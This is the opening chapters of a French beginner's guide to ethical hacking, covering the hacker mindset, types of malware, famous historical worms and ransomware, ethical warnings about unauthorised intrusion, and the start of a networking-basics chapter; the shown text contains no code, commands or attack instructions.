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Pourquoi devriez-vous lire ce livre ?

Si vous ne comprenez pas comment les hackers black hat peuvent pénétrer dans vos systèmes, vous aurez des difficultés à les sécuriser. En effet, apprendre le hacking peut vous aider à mettre en œuvre les pratiques de sécurité les plus strictes possibles. Il s’agit de rechercher et de corriger les vulnérabilités de sécurité et de les anticiper.

Par ailleurs, se renseigner sur les méthodes utilisées par les hackers afin d’infiltrer les systèmes, vous permettra de résoudre les problèmes avant qu'ils ne deviennent dangereux.

Un réseau informatique est comme une cour avec une clôture afin d’empêcher les personnes d'y entrer. S’il y a un objet précieux dans la cour, il est fort possible que quelqu'un grimpe la clôture et vole cet objet. 

Le hacking éthique sert à rechercher régulièrement des vulnérabilités au sein de la clôture et de l’environnement qui l’entoure. Ainsi, vous pourrez renforcer les défaillances avant que quelqu’un tente d'y pénétrer.

D’un autre côté, vous avez également les compétences afin de pénétrer dans la cour d’une personne et de lui apporter l’aide nécessaire afin qu’elle sécurise la sienne.

Cependant, le hacking éthique nécessite d'être curieux et d’être constamment à la recherche d’une solution face au(x) défi(s) au(x)quel(s) vous êtes confrontés. Comprendre le fonctionnement des systèmes informatique et des langages de programmation est également essentiel. En effet, il sera plus facile d’anticiper les moyens d’exploiter le système en comprenant la logique de ces programmes.

Le but de ce guide est d’aider un débutant à apprendre les bases du hacking mais aussi de l’aider à mettre les pieds sur le bon chemin en mettant en place un système simple qui lui permet de comprendre ce qu’il doit acquérir comme compétences (et comme Mindset) pour devenir hacker ainsi que de lui expliquer les attaques qu’utilisent les hackers fréquemment et comment se protéger des hackers blackhat.
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Toute action ou activité liée au contenu de ce livre relève de votre entière responsabilité. L'usage abusif des informations que contient ce livre peut donner lieu à des poursuites pénales. Donc veillez à créer un environnement propice au hacking afin de tester les différentes attaques que je vais vous présenter dans ce livre. Et surtout, n’hésitez pas : Virtualbox est à votre disposition.

Une autre chose importante : les connaissances fournies dans ce livre ne sont pas garanties et ce domaine est en évolution continue. Donc si vous trouvez que certaines informations ne sont plus valables, n’hésitez pas à me le signaler en me contactant. Je serais ravi de corriger ce qui est nécessaire et de vous remercier par la même occasion.

Mon site web :https://hackingeek.com/

Ma chaine YouTube : youtube.com/HackinGeeK

Mon adresse e-mail : anass@hackingeek.com

Notre page Facebook : hackingeek0x/


«IT’S THE VERY FACT PEOPLE AVOID THE

COMPLICATED BITS THAT ENABLE THE

FEW WHO ACTUALLY STUDY “HACKING”
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Robert Graham”
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introduction

Généralement, le point de vue sur les hackers est divisé en deux : d’un côté, il y a ceux qui les vénèrent comme des individus aux idées brillantes et de l’autre il y a ceux qu’ils les méprisent comme des criminels.

Bien que les deux perceptions puissent semblait vrai pour de nombreux hackers, la perception du public a été déformée par la télévision et le cinéma. L’utilisateur moyen ne comprend pas le fonctionnement technique d’un ordinateur ou d’Internet alors il ne peut pas espérer comprendre ce que font les hackers.

En fait, le terme «hacker» porte généralement une connotation négative. Demandez à n'importe quel non-technicien ce qu'est un hacker et il vous répondra : "Ce sont les méchants qui volent les cartes de crédit des gens, écoutent mes appels téléphoniques et travaillent avec des organisations terroristes !"

Pour des raisons - vraisemblablement accréditées auprès des médias - les hackers ont une mauvaise réputation et la plupart des gens présumeraient instantanément que leurs comportements sont illégaux. 

Ces stigmates ne pourraient être plus éloignés de la vérité, car la réalité est qu’il existe de nombreux types de hackers. Certains ont de bonnes intentions, d'autres non et il y a ceux qui se situent quelque part entre les deux.

Il n'y a pas de motivation unique qui motive un hacker ni de déclaration générale que vous pouvez utiliser pour décrire avec précision un hacker. Sachez aussi que le hacking n’est pas une pratique intrinsèquement perverse ; vous pouvez le pratiquer légalement. 

Certaines personnes aiment en faire car il s’agit de leurs passions. Certains gagnent beaucoup d'argent en tant que consultant pour tenter de pénétrer un réseau d'entreprise : le but de trouver des failles de sécurité afin de les corriger.

Cependant, si vous abusez de vos connaissances : c’est une pente glissante vers le côté obscur et rien de bon ne se produit lorsque vous y êtes.

Si votre curiosité prend le dessus et que vous souhaitez uniquement comprendre ce qu’il se passe derrière les coulisses et devenir un hacker compétent : je vous présente les bases du hacking et un guide vers la réalisation de vos objectifs. 

Le problème que la plupart des gens rencontrent lorsqu'ils veulent se lancer dans ce domaine est qu'ils trouvent du matériel qui n'est pas écrit pour les noviciats. 

Une fois que vous maîtriserez les bases que vous allez apprendre dans ce livre ; vous constaterez que vous êtes beaucoup plus instruit que vos pairs et que le hacking est en fait assez attrayant.

Au cours des deux dernières décennies, les outils utilisés par les hackers ont beaucoup évolué. Les personnes qui s'intéressent et qui développent une passion pour le hacking ont également changé. 

Même si la technologie est plus complexe au fil du temps, les outils utilisés par les hackers sont de plus en plus sophistiqués. Ainsi, la courbe d'apprentissage est beaucoup moins abrupte pour les débutants.

Dans ce guide, je vais essayer de vous apporter de nombreuses informations utiles sur le hacking, telles que :


›  Qu'est-ce que le hacking ? Qu’est-ce qui n’est pas du hacking ?

›  Hacking terminologie et culture des hackers.

›  Mindset du hacker.

›  Avez-vous besoin d’un diplôme universitaire pour devenir hacker ?

›  Ce que vous devez savoir avant de vous lancer dans le hacking.

›  Types d'attaques et les hacks les plus célèbres de tous les temps.

›  Considérations éthiques et avertissements justes pour devenir hacker.

›  Les concepts fondamentaux qui servent de base pour développer les compétences en hacking.

›  Comment installer les systèmes d'exploitation Linux à l'aide de VirtualBox pour utiliser les outils de hacking ?

›  Guides étape par étape pour l’utilisation de ping et le scan de ports.

›  Comment cartographier les topologies de réseau et effectuer des techniques de reconnaissance ?

›  Comment utiliser un logiciel de scan pour trouver des failles de sécurité ?


Ce guide complet vous donnera une compréhension des concepts techniques de base dont vous aurez besoin pour devenir un hacker. Il vous présentera aussi des programmes fascinants et vous montrera les étapes pour les utiliser. 

Je suis sûr que vous avez hâte de commencer à hacker mais je vous conseille de prendre le temps nécessaire pour apprendre les bases avant de poursuivre sur des notions plus difficiles décrites dans ce livre.


[image: image]


Ce qu'il faut pour devenir un bon hacker

Il est important de noter que les hackers partagent des qualités que vous devez acquérir si vous souhaitez en devenir un. Voici selon moi, les deux qualités les plus marquantes :
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❖  Le Mindset
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Le premier élément qui distingue le hacking éthique des autres disciplines de l'industrie des technologies est un état d'esprit spécifique. Contrairement aux connotations négatives d’aujourd’hui associées au terme hacker, la définition initiale est une personne qui aime manipuler un système (physique ou non) pour le faire fonctionner différemment de celui voulu par son créateur.

Pour résumer, l’état d’esprit est de regarder au-delà des apparences et d’évaluer méthodiquement le fonctionnement d’un système cible. Cette approche révèle inévitablement une faiblesse ou une réflexion qui permettrait de compromettre le système.

Dans un monde, où les vulnérabilités classiques telles que SQL Injection ou Cross-Site Scripting sont bien documentées et empêchées, principalement par le développement : c’est en travaillant de manière méthodique et détaillée que vous pouvez identifier des vulnérabilités subtiles qui ne surgiraient pas sur un scanner automatique.

Les personnes qui s'introduisent dans les ordinateurs des autres s'appellent des crackers. Ceux qui le font pour gagner leurs vies sont appelés « administrateurs de la sécurité réseau ». En général, le hacking signifie l'ingéniosité de nouvelles solutions à des problèmes potentiellement (non) résolus.




❖  LES COMPÉTENCES

Une des raisons pour lesquelles certains hackers réussissent est qu’ils sont passionnés par ce qu’ils font et que leurs personnalités les poussent à relever des défis extrêmement difficiles. C'est pourquoi, certains hackers pénètrent les systèmes uniquement pour voir s'ils en sont capables. 

Si vous voulez devenir un hacker prolifique, il vous faudra deux choses identiques à celles de toute compétence que vous souhaitez développer : le temps et la pratique.

Si vous n’arrivez pas à trouver une solution dans les deux premières minutes, n'abandonnez surtout pas. Certains professionnels passeront des semaines voire des mois à planifier et à exécuter leurs attaques.

Une fois que vous maîtrisez les bases, vous pourrez mettre en œuvre ces techniques en quelques minutes. Selon moi, la partie la plus difficile pour un débutant est l’apprentissage des bases et la configuration de son environnement. Après cela, les choses deviennent de plus en plus faciles. Vous pourrez alors commencer à prendre des risques pour comprendre le fonctionnement de la technologie.

Avant de passer aux détails juteux, nous devrions commencer par un aperçu du hacking pour que vous compreniez certains concepts et perceptions rudimentaires du hacking.


Avant d’entamer le vif du sujet, je souhaite répondre à une question que l’on me pose souvent :
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Avez-vous besoin d’un diplôme universitaire ou d’une certification pour devenir hacker ?
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La courte réponse est NON. Ce dont vous avez besoin c’est le savoir-faire, rien de plus. Bien sûr, les diplômes et certifications aident énormément dans certains cas.

Avoir au minimum des certifications peut certainement vous aider dans le processus de candidature. Lorsqu'un recruteur ou un responsable du recrutement examine votre CV, il peut être en mesure d'analyser tout ce que vous avez fait. Avoir un diplôme inspire beaucoup de confiance.

Mais avez-vous besoin d'un diplôme ? Avez-vous besoin d'un éventail de certifications ? Absolument pas.

Le domaine du hacking est incroyablement jeune. Les milieux académiques sont encore en train de rattraper leur retard en ce qui concerne la manière de former et d’évaluer correctement les individus dans les compétences requises. Ainsi, tous les grands hackers de cette époque ne sont pas formés par les universités.




––––––––
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Chapitre 2
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Introduction au hacking

Pour un utilisateur moyen qui ne comprend pas assez la sécurité des réseaux, les hackers sont entourés d’un nuage de mystère.

La plupart des gens ne comprennent pas ce qu’ils font ou comment ils le font. Les films n’aident pas non plus à les démystifier. Quand je dis "hacker", quelles images vous viennent à l'esprit ? Un adolescent au visage couvert de boutons dans un sous-sol sombre, pénétrant dans un site Web de haute sécurité ? Ou encore un jeune homme de vingt ans tapant furieusement avec son masque de Guy Fawkes à côté de lui, libérant des documents d'entreprise, gouvernementaux ou militaires au nom d'Anonymous? C’est que ce que les médias sont en train de promouvoir.

Dans les films, d’une façon amusante, les hackers utilisent fréquemment un outil appelé NMAP. D’ailleurs, je vais vous montrer comment l’utiliser plus tard dans ce livre.

Mais qu'est-ce que le hacking ? Le hacking signifie beaucoup de choses différentes pour beaucoup de gens différents. C'est un terme générique utilisé pour décrire des centaines, voire des milliers de techniques variées pouvant être utilisées pour exploiter des ordinateurs et des systèmes d'information de manière inattendue.

Le hacking consiste essentiellement à utiliser un dispositif pour obtenir un accès “Non autorisé” à un autre système informatique ou à des données protégées ou restreintes. C'est le sens le plus conventionnel du mot hacking.

Une fois qu'un hacker accède à un système, il peut manipuler ou supprimer des informations, modifier des configurations ou installer un code malveillant supplémentaire. Le but est d’avoir un contrôle encore plus large sur le système cible. La liste est longue et le ciel est la limite à propos de ce qu'un hacker expérimenté peut faire lorsqu'il trouve un moyen d'accéder à un système informatique.

Cependant, le hacking représente bien plus que le simple fait de cliquer sur un bouton pour attaquer un ordinateur. Vous devrez utiliser des outils et des scanners pour cartographier la topologie du réseau local et utiliser des techniques de reconnaissance pour recueillir des informations et rechercher des vulnérabilités. La bonne nouvelle pour les débutants est que ces outils sont hautement automatisés aujourd'hui.

Auparavant, aucun logiciel de hacking n’a été créé pour regrouper de grandes quantités de code et d’outils en commande simple et facile à utiliser. Les hackers avaient besoin d'une compréhension très approfondie des technologies qu'ils essayaient de percer. Il était difficile de le faire.

Aujourd’hui, avoir une compréhension extrêmement profonde de la technologie vous aidera à devenir un meilleur hacker. Cependant, ces outils sont de plus en plus faciles à utiliser. Certains jeunes enfants et/ou adolescents sont trop curieux : ils sont alors poussés à utiliser des outils très sophistiqués afin de pénétrer dans un système auquel ils n'ont pas accès (sans comprendre le fonctionnement interne des outils).
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Comprenez que ces outils simplifient considérablement le processus d’hacking mais les utiliser sans connaître leur fonctionnement interne ne font de vous qu’un script kiddie !
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Mais que faut-il pour exceller en tant qu’hacker ? La plupart d’entre eux ont plusieurs points communs. Tout d’abord, ils sont des développeurs de logiciels expérimentés et peuvent concevoir des programmes malveillants et des virus qui font avancer leurs causes.

En outre, la plupart des hackers sont des utilisateurs compétents de Linux. En effet, les systèmes d'exploitation Linux sont pour le moment extrêmement sécurisés. Ils offrent un accès gratuit pratiquement illimité aux derniers outils de pénétration et de sécurité. Certains systèmes d'exploitation Linux tels que Kali Linux ont été conçus dans le seul but de pénétrer les réseaux.

Linux peut faire peur aux débutants. Mais dans ce livre, je vais vous montrer comment l’utiliser en toute sécurité et utiliser de manière simplifiée, quelques outils spéciaux facile à comprendre.

Par ailleurs, les hackers ont presque toujours une connaissance pratique des sujets liés aux réseaux comme les adresses IP, les ports ou les détails du fonctionnement des différents protocoles réseau. Certains outils exploitent même les vulnérabilités de ces protocoles réseaux. La connaissance de ces exploits, combinée à la capacité de concevoir des programmes informatiques, rend certains hackers vraiment redoutables.

Certaines de ces techniques sortent du cadre de ce livre puisque ce guide a été créé pour les débutants. Mais si vous souhaitez vraiment exceller en tant qu’hacker, vous devrez étudier et de mettre en pratique ces concepts. Même si nous n’abordons pas le sujet du développement logiciel dans ce guide, je vais montrer les étapes à suivre pour installer et utiliser divers outils de hacking que les professionnels utilisent. Ensuite, je vais expliquer les bases des adresses et des protocoles réseaux.


«IF THE BASICS WERE
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EASY, EVERYBODY

WOULD BE DOING THEM»
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Wendy Nather




Chapitre 3
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LE CÔTÉ OBSCUR DU HACKING

Vous avez probablement déjà entendu parler de virus, vers, malware (logiciels malveillants), keyloggers(ou enregistreurs de frappe), rootkits et chevaux de Troie, mais qu’en est-il de ces choses ? Comment les pirates les utilisent pour voler les données des personnes et perturber leurs systèmes ?

Chacun de ces outils est légèrement différent l’un de l’autre, mais ils ont tous le même objectif : entrer dans le système d’une cible pour fournir à l’attaquant des informations auxquelles il n’a pas encore accès.

Je ne vais pas vous montrer comment créer des logiciels informatiques néfastes (ce qui est tout de même facile à faire !). Cependant, vous devez avoir une compréhension approfondie de ces sujets si vous voulez devenir hacker.

Avant tout, vous devez comprendre le concept de virus car il s’agit de l’un des termes les plus utilisés des discussions sur la cybersécurité et le hacking.

Un virus est un code malveillant ou un programme capable d'infecter un système cible et de se copier sur d'autres ordinateurs locaux. Ils portent bien leur nom car ils se reproduisent comme un virus dans la nature et facilitent leurs opérations en s’attachant à d’autres programmes informatiques.

Généralement, ils rendent un système informatique complètement inutile ou ils cherchent à détruire des données.

Nous entendons beaucoup parler de virus dans les documentaires. Nous allons donc examiner l’un des virus les plus célèbres de tous les temps, après avoir défini l’autre terminologie.

Un ver ressemble beaucoup à un virus et il est vrai que la ligne de démarcation entre un virus et un ver s’estompe. La plus grande différence est que les vers ne sont pas attachés à un programme. Ils existent indépendamment sur le système hôte et exploitent souvent les ressources du réseau pour se propager à d'autres hôtes du réseau qu'ils ont compromis.

Familièrement, ces termes sont interchangeables, mais leur signification varie légèrement dans les contextes académiques.

Peut-être avez-vous déjà expérimenté les conséquences négatives des programmes malveillants ?

Le moyen le plus populaire de diffusion des logiciels malveillants est le téléchargement en ligne. L’utilisateur télécharge et installe sur son ordinateur un fichier téléchargeable corrompu par un logiciel malveillant. 

Vous le verrez fréquemment avec la plupart des fichiers hébergés avec des programmes de partage de fichiers P2P (Peer-to-Peer) tels que Bit Torrent.

Un logiciel malveillant peut également être utilisé comme terme générique pour décrire de nombreux types d’attaques.

Il s’agit de tout logiciel utilisé par un attaquant pour créer un accès aux données d'une cible, les bloquer de leurs données ou modifier les informations sur leur ordinateur.

En outre, un keylogger est un autre type de programme malveillant. Comme vous pouvez peut-être le deviner, son but est de consigner les frappes au clavier de l’utilisateur infecté.

Cela est absolument désastreux pour la victime car l’attaquant sera capable d’enregistrer et d’afficher chaque clé saisie par la cible sur son système hôte. Cela inclut les noms d'utilisateur et mots de passe, les recherches Google, les conversations de messagerie instantanée privée et même les données de cartes de paiement.

Si un attaquant a correctement installé un enregistreur de clé, la cible est à sa merci. L'attaquant peut par la suite : pirater le système cible en utilisant les informations recueillies, telles que les noms d'utilisateur et les mots de passe, voler de l'argent en utilisant les données de sa carte de paiement ou utiliser son système hôte pour attaquer d'autres hôtes sur le même réseau.

Ensuite, vous devez aussi vous familiariser avec l’idée d’un rootkit. Les rootkits sont extrêmement dangereux car ils servent à éditer des processus en arrière-plan dans le but de cacher les activités malveillantes d'un attaquant. Ainsi, ils aident les virus, les keyloggers et autres codes malveillants à exister pendant de longues périodes sans détection sur le système cible.

Ils peuvent également servir à masquer des logiciels qui auraient autrement été détectés et mis en quarantaine par des logiciels de sécurité.

Ensuite, le fameux trojan (cheval de Troie), parfois appelé «virus de Troie» ou «virus de porte dérobée» sont extrêmement problématiques. En effet, ils peuvent être glissés dans une application à l'apparence innocente et il est difficile de les détecter sans le logiciel de sécurité approprié.

Il se peut qu’un cheval de Troie soit caché dans les profondeurs de votre ordinateur personnel en ce moment. Il est fréquemment utilisé pour obtenir le contrôle complet d'un système cible.

Maintenant que vous connaissez la base des différents types de codes malveillants utilisés par les pirates ; vous devez connaître quelques virus informatiques les plus importants et les plus célèbres de tous les temps.

Certains d’entre eux sont en réalité d’autres types de codes malveillants, tels que les chevaux de Troie, mais les gens les appellent toujours “virus”. N'importe quel hacker aura déjà entendu parler de ces attaques célèbres, vous devez donc les connaître également.

De plus, si vous avez l’intention d’appliquer l’une de ces attaques en cherchant sur Internet un code librement distribuable qui vous permettra d’attaquer un système, sachez simplement que vous vous préparez à une catastrophe. De manière assez amusante, certains débutants tentent de trouver des rootkits et des keyloggers pour attaquer des hôtes. Mais voici le problème : certains pirates facilitent leurs attaques en tirant parti des personnes qui souhaitent accéder à ces types de programmes. Le résultat final n’est pas cool.

En fin de compte, un hacker débutant pourrait en fait installer le virus d’un pirate expert et infecter sans le savoir son propre système d’exploitation (tout en jouant le hacker). N'oubliez pas qu'il y a aussi des implications éthiques et légales.

Les responsables de ces attaques célèbres ont été sévèrement punis. N'essayez donc pas de rechercher et de mettre en œuvre ces types de virus illégalement dans un environnement qui ne vous appartient pas.
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1)  Virus CIH - 1998
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Le virus CIH, également connu sous le nom de "virus de Tchernobyl", a été nommé d'après l'explosion de la centrale nucléaire en Russie. 

Le virus fonctionnait en effaçant les données des disques durs des périphériques infectés et en remplaçant le BIOS de l'ordinateur. Cela rendait le périphérique inutilisable. Les puces BIOS, fabriquées à l'origine par IBM pour les PC, sont un type de micrologiciel utilisés lors du démarrage ou de la mise sous tension d'un périphérique. 

Ce virus a provoqué des dégâts considérables car la puce BIOS n’étant pas amovible sur de nombreux ordinateurs a obligé l’utilisateur à remplacer l’ensemble de la carte mère. Le virus a été créé par un étudiant de l'institut de technologie de Taipei Tatung, nommé Chen Ing Hau. Bien que le virus ait causé des millions de dollars de dommages, Chen n’a jamais été emprisonné ni condamné à une amende. En fait, il a décroché un emploi dans une entreprise de logiciels grâce à sa création infâme.
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2)  Melissa Worm - 1999
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Le ver Melissa était un virus qui a causé des millions de dollars de dommages aux PC infectés. Le virus s'est propagé par courrier électronique et aurait été créé par David L.Smith. Le virus utilisait un sujet attrayant pour amener ses victimes à l'ouvrir. 

Une fois le courrier électronique ouvert, le virus peut se répliquer et s’envoyer à 50 adresses électroniques supplémentaires accessibles via l'ordinateur infecté à l'origine.
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3)  Slammer Worm - 2003
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En janvier 2003, le ver Slammer a frappé 75 000 utilisateurs avec une attaque par déni de service. Le ver ciblait une vulnérabilité trouvée dans Microsoft SQL et se propageait rapidement. Les auteurs des programmes malveillants utilisent les attaques par déni de service pour surcharger le réseau d'une entreprise avec un trafic insignifiant, ce qui provoque éventuellement une panne du réseau. 

Owen Maresh d’Akamai serait le premier à avoir découvert le ver destructeur du centre de contrôle des opérations réseau d’Akamai. À son apogée, le ver Slammer a envoyé 55 millions de demandes de base de données à travers le monde et se serait répandu en seulement 15 minutes, dépassant la vitesse du Code Red Worm de 2001.
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4)  My Doom Worm - 2004
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Le ver My Doom, connu comme l’un des vers à la propagation la plus rapide dans l’histoire, transmet à la fois le bogue “ILOVEYOU” et le ver SoBig. Elle a été transmise par courrier électronique et contenait généralement diverses lignes de sujet, notamment "Erreur", "Système de livraison du courrier", "Test" ou "Échec de la transaction courrier". 

Bien que son créateur reste encore inconnu, certains disent qu'il est originaire de Russie. Le ver a été découvert et nommé par un employé de McAfee pour la ligne "mydom" figurant dans son code.
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5)  Stuxnet Worm - 2010
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Le fameux ver Stuxnet est entré dans des périphériques via des clés USB infectées et a donc dû être inséré manuellement dans un périphérique pour se répandre. 

Le danger de ce virus était que la connectivité Internet n’était pas nécessaire pour se répandre, ce qui la rendait particulièrement fatale pour les infrastructures critiques. Une fois sur un périphérique, le ver effectuera ensuite une vérification pour voir si le périphérique infecté a accès aux systèmes de contrôle industriels. Si c'était le cas, le ver prendrait alors le contrôle des centrifugeuses de la centrale, ce qui les ferait éventuellement échouer. 

Les principales victimes de Stuxnet étaient des centrales nucléaires iraniennes et une usine d'enrichissement d'uranium. 

Bien que cela ne soit pas vérifié, certains pensent que les États-Unis et Israël sont responsables de la création du ver afin de freiner le développement du nucléaire iranien.
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6)   ZeroAccess Botnet - 2013
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Reconnu comme l’un des plus grands réseaux de zombies de l’histoire, ZeroAccess a touché plus de 1,9 million d’ordinateurs et les a utilisés pour générer des revenus grâce à l’extraction de bitcoins et à la fraude aux clics. 

Les botnets impliquent un groupe d’ordinateurs, également appelés “zombies”, contrôlés par des logiciels malveillants et utilisés pour envoyer des courriels de SPAM ou lancer des attaques au format HTML.  Le premier étant utilisé par le botnet ZeroAccess, ces contrôles sont orchestrés par le BotMaster ou le centre de commande du botnet. 

Les e-mails SPAM envoyés par les réseaux de zombies contiennent souvent des logiciels malveillants qui sont ensuite utilisés pour infecter plus d'ordinateurs.
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7)  Locky Ransomware - 2016
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L'année 2016 a été marquée par une augmentation massive du nombre de ransomwares mais aussi par Locky, une attaque énorme transmise via un courrier électronique de phishing. Ces courriels contiennent une pièce jointe Javascript avec un fichier exécutable qui déclenche l'attaque du ransomware Locky.

Lorsque l'utilisateur cliquait dessus, Locky utilisait un chiffrement extrêmement fort RSA et AES, chiffrant des fichiers sur le système infecté et sur des lecteurs réseau non mappés connectés au point d'infection. Ainsi, il supprimait les instantanés de volume. En d'autres termes, il prévoit des actions correctives et est spécialement conçu pour vous empêcher de restaurer vos fichiers en supprimant les clichés instantanés.
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8)  WannaCry Ransomware - 2017
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WannaCry, la variété de ransomware la plus destructive de 2017 à ce jour, a touché plus de 150 pays et plus de 100 000 organisations, y compris des grandes entreprises et divers organismes gouvernementaux. Ce ransomware a été initialement introduit dans les systèmes via des courriels de phishing. Il s'est propagé grâce à une vulnérabilité connue de Windows, que nous allons d’ailleurs exploiter plus loin dans ce livre.

Selon des informations initiales, le service national de santé du Royaume-Uni aurait été infecté par le ransomware, touchant jusqu'à 16 hôpitaux britanniques. WannaCry était une attaque de ransomware d’une ampleur et d’une sophistication sans précédent. 

Contrairement aux précédentes versions de ransomware, WannaCry utilise un ver pour infecter d’autres systèmes et se propager à travers tout un réseau. 




EN RÉSUMÉ

Les virus, les logiciels malveillants et les chevaux de Troie ne sont qu’un aspect du hacking. La vérité est que ces virus ont été créé par des experts ayant une connaissance plus approfondie des systèmes informatiques que la plupart des experts en sécurité.

Tous les auteurs de ces attaques étaient des développeurs et des développeurs de logiciels experts. Si vous pensez que vous pouvez devenir aussi infâme que ces types de hackers, vous devez devenir un développeur de logiciels expert. Il n’y a aucun moyen de le contourner.

Cependant, j'espère que cette section vous a seulement ouvert les yeux sur le potentiel de certaines de ces attaques qui ont causé des dégâts considérables.

Je tiens encore à préciser que le but de ce guide n’est pas de créer un programme qui nuira aux ordinateurs d’autres personnes, qui pourra engendrer d’énormes dommages et qui vous laissera avec de lourdes conséquences.

Mais en tant qu’hacker “chapeau blanc”, vous devriez connaitre l’existence de ces types d’attaques. Vous devez donc disposer d’un vocabulaire de base pour le hacking.

Toutefois, nous allons voir comment déchiffrer divers mots de passe, mapper des topologies de réseau, exploiter des vulnérabilités et analyser des cibles pour rechercher des failles de sécurité. Dans ces types d’exemples, nous nous concentrerons sur la pénétration d’un hôte ou d’un réseau cible unique au lieu d’essayer de libérer un fléau sur Internet. Mais d’abord, il faut comprendre les différents types de hackers qui se cachent sur Internet, les considérations éthiques concernant votre utilisation des connaissances de ce livre et les conséquences de vos actes, si vous utilisez ces informations à mauvais escient. Vous pouvez alors être pris au piège. 
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Chapitre 4
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CONSIDÉRATIONS ÉTHIQUES ET AVERTISSEMENTS

Un livre sur le hacking serait irresponsable et incomplet sans un chapitre vous avertissant des conséquences de l'utilisation abusive de ces techniques ainsi que des considérations éthiques liées au hacking (même si cela semble être ennuyeux).

Pour commencer, vous devez vous familiariser avec deux terminologies différentes décrivant différents types de hackers : le chapeau noir et le chapeau blanc.

Un «chapeau noir» est le type d'utilisateur Internet infâme qui exploite les faiblesses des systèmes informatiques à des fins personnelles ou pour perturber les systèmes informatiques d'une entreprise afin de leur causer un préjudice.

Il n’y a vraiment aucun avantage à adopter une approche de ce type de hacker. Lorsqu’on entend dans les médias qu’une institution financière a perdu des milliers de noms d’utilisateurs et de mots de passe ou qu’une base de données de médias sociaux a été compromise et, que de nombreuses personnes ont perdu des informations personnelles sensibles : l’attaque a été faite par un hacker black hat (en anglais).

Récemment, il y a eu un module de code contenu dans un plugin WordPress qui était sujet à une vulnérabilité XSS (un type de faille de sécurité dans les sites Web) qui était exploité dans le monde entier par le groupe extrémiste ISIS.

Si vous lisez ce livre dans le but de causer des perturbations massives et le chaos, je vous conseille vivement de revenir sur votre décision. Cependant, sachez que les outils de sécurité et de pénétration ne sont pas intrinsèquement bons ou mauvais. On peut dire qu’elles ressemblent beaucoup à des armes dans le sens où il s’agit d’un objet inanimé et qu’elle peut être aussi bonne ou mauvaise que la personne qui la manipule.

En revanche, les hackers «chapeau blanc» sont l’opposé. Ce sont ceux qui font tout ce qu’ils peuvent pour détecter les failles de sécurité potentielles et corriger les erreurs afin que les pirates (hackers black hat) ne puissent pas pénétrer un système.

Lors de la lecture de ce livre, vous devez examiner tous les outils et toutes les techniques présentés du point de vue d’un hacker à chapeau blanc et les utiliser de manière responsable.

Si vous pratiquez le “hacking” de manière professionnelle, vous pouvez ajouter une valeur considérable à l’organisation pour laquelle vous travaillez et vous pouvez gagner beaucoup d’argent. Certains hackers chapeaux blanc ayant la certification CEH (Certified Ethical Hacker) se situent dans la fourchette des six chiffres. 

Chaque année, la cybersécurité devient de plus en plus importante. Un hacker talentueux peut utiliser des outils de test d'intrusion et des méthodes d'empreintes pour identifier les failles désastreuses de sécurité du réseau et de l'infrastructure informatique de l'entreprise et les corriger avant qu'ils ne deviennent un problème coûtant pour l'entreprise.

De plus, vous devez être conscients des conséquences de l’utilisation abusive des connaissances acquises dans ce livre.

Bien que vous ne soyez pas surpris en train de fouiller dans un réseau connecté à un réseau sans fil (petit bureau/domicile) non sécurisé de votre quartier ou de votre cafétéria préférée, vous devez respecter le droit à la vie privée des autres. Pensez-y. Comment vous sentiriez-vous si vous prenez une tasse de café en lisant un livre avant de découvrir plus tard que quelqu'un avait attaqué votre Kindle, par le biais du réseau Wi-Fi de la cafétéria ? Vous vous sentirez enragés, irrités et violés. Alors souvenez-vous de cette règle d'or lorsque vous deviendrez un hacker.

Sachez aussi que l’utilisation des outils de pénétration sur des réseaux où vous n’avez aucune autorisation pour le faire peuvent avoir des conséquences extrêmement négatives.

Par exemple, si vous le faites sur votre réseau d’employeurs et que vous êtes pris au piège : le meilleur des cas est que vous allez devoir répondre à des questions inconfortables et le pire est que vous allez être virés. Cela n’en vaut pas la peine, alors gardez cela à l’esprit pour aller de l’avant.

Au lieu de tester ces techniques sur des réseaux publics ou d'entreprise, mon conseil est de les essayer sur votre propre environnement.

Même un petit réseau domestique vous fournira un terrain de jeu numérique pour tester vos nouvelles compétences en matière de sécurité. Pour exécuter certaines de ces démonstrations, il vous suffit d’un ordinateur personnel, d’un routeur sans fil et de préférence, de quelques autres périphériques que vous pouvez connecter à votre réseau.

ATTENTION : vous n’avez pas besoin d’une bête à 8 cœurs de CPU et 16GB de RAM pour commencer à apprendre le hacking. Personnellement j’ai commencé avec un ordi Pentium 4 et 128 MB de RAM. 

Dans la section sur l’empreinte, je vais vous montrer comment exécuter des balayages de ping et d’autres utilitaires pour effectuer des reconnaissances et des méthodes de collecte d’informations. Ainsi, plusieurs autres appareils vous donneront plus d’informations pour jouer sur votre réseau local (LAN).

Désormais, j'espère que vous comprenez que le terme "hacker" est plutôt ambigüe. Auparavant, il s'agissait juste d’un hacker au chapeau noir. Aujourd’hui, il peut s’agir d’une personne de très haut niveau en matière de technologie. Le mot «hacker» ne signifie pas nécessairement quelqu'un qui cherche à voler de la propriété intellectuelle ou à pénétrer dans un réseau restreint.

Le profane a coutume de décrire un voleur numérique, mais les professionnels de la sécurité traceront souvent la ligne de démarcation entre les chapeaux blancs et les chapeaux noirs.

Avec tous les avertissements à venir, nous pouvons passer à la section presse-agrumes et aux sections plus pragmatiques du livre que vous attendiez. Commencer à apprendre comment vous pouvez mouiller personnellement avec le hacking.

Tout d’abord, ce livre est écrit en partant du principe que vous n’avez pratiquement aucunes connaissances des concepts rudimentaires de sécurité.

Ce livre étant destiné aux débutants et non pas aux professionnels de la sécurité chevronnés et aux experts en hacking. Il est indispensable d’avoir une connaissance de base de la terminologie de réseau, des concepts d’adressage et d’autres principes fondamentaux sur lesquels vous pourrez vous appuyez pour construire vos compétences.

Ainsi, nous allons commencer avec les bases du réseau. 


«A HACKER IS SOMEONE WHO HAS A
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NATURAL CURIOSITY FOR THINGS,

A THIRST FOR KNOWLEDGE AND

[image: image]


DETAILS, AND SOMEONE WHO DOESN’T

ACCEPT THINGS THE WAY THEY ARE
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WITHOUT ALWAYS TRYING TO MAKE

THEM BETTER, MORE EFFICIENT»

[image: image]


Khalil Sehnaoui




Chapitre 5
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FONDEMENTS DES RÉSEAUX

1)  Comprendre le modèle OSI et la terminologie réseau

Si vous manquez de connaissances pratiques des concepts de réseau, le modèle OSI (Open Systems Interconnection) est l’un des meilleurs endroits pour commencer. Chacune des démonstrations que nous allons parcourir ensemble est largement basée sur le modèle OSI et les professionnels de la sécurité des réseaux utilisent souvent une terminologie et un jargon liés aux différents composants de ce modèle. 

